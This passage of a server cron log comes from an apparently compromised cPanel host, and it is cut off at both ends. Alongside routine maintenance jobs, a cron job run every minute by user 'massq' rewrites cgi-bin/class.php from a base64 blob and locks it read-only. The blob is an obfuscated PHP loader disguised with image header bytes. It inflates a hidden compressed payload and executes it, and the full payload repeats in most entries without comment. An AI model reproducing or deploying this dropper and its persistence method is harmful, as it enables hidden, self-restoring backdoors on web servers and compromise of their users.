BKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:09:01 server CROND[21204]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:09:01 server CROND[21206]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:09:01 server CROND[21208]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:09:01 server CROND[21207]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 06:10:01 server CROND[21585]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:10:01 server CROND[21587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:10:01 server CROND[21590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:10:01 server CROND[21594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:10:01 server CROND[21591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:10:01 server CROND[21592]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:10:01 server CROND[21589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:10:01 server CROND[21593]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:11:01 server CROND[22489]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:11:01 server CROND[22491]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:11:01 server CROND[22490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:12:01 server CROND[22999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:12:01 server CROND[23000]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:12:01 server CROND[23002]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 06:12:01 server CROND[23003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:13:01 server CROND[23454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:13:01 server CROND[23455]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:13:01 server CROND[23457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:14:01 server CROND[23929]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:14:01 server CROND[23930]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:14:01 server CROND[23931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:15:01 server CROND[24320]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:15:01 server CROND[24325]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 06:15:01 server CROND[24337]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 06:15:01 server CROND[24335]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 06:15:01 server CROND[24332]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  2 06:15:01 server CROND[24338]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:15:01 server CROND[24331]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:15:01 server CROND[24334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:15:01 server CROND[24333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:15:02 server CROND[24336]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 06:16:01 server CROND[25285]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:16:01 server CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:16:01 server CROND[25287]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:17:01 server CROND[25636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:17:01 server CROND[25637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:17:01 server CROND[25638]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:18:01 server CROND[25996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:18:01 server CROND[25997]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:18:01 server CROND[25998]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:19:01 server CROND[26455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 06:19:01 server CROND[26456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 06:19:01 server CROND[26457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 06:20:01 server CROND[26855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 06:20:01 server CROND[26856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 06:20:01 server CROND[26862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 06:20:01 server CROND[26871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbx